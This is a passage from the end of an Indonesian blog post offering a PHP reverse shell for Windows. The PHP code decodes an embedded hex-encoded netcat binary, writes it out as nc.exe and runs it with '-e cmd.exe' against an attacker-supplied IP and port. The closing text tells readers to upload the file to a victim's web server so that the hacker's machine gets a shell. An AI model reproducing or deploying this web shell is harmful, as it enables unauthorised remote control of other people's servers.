"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.

 
Share and Enjoy : Baara Rhapsody
 
baara rhapsody © 2011 | Designed by Chica Blogger, in collaboration with Uncharted 3, MW3 Forum and Angry Birds Online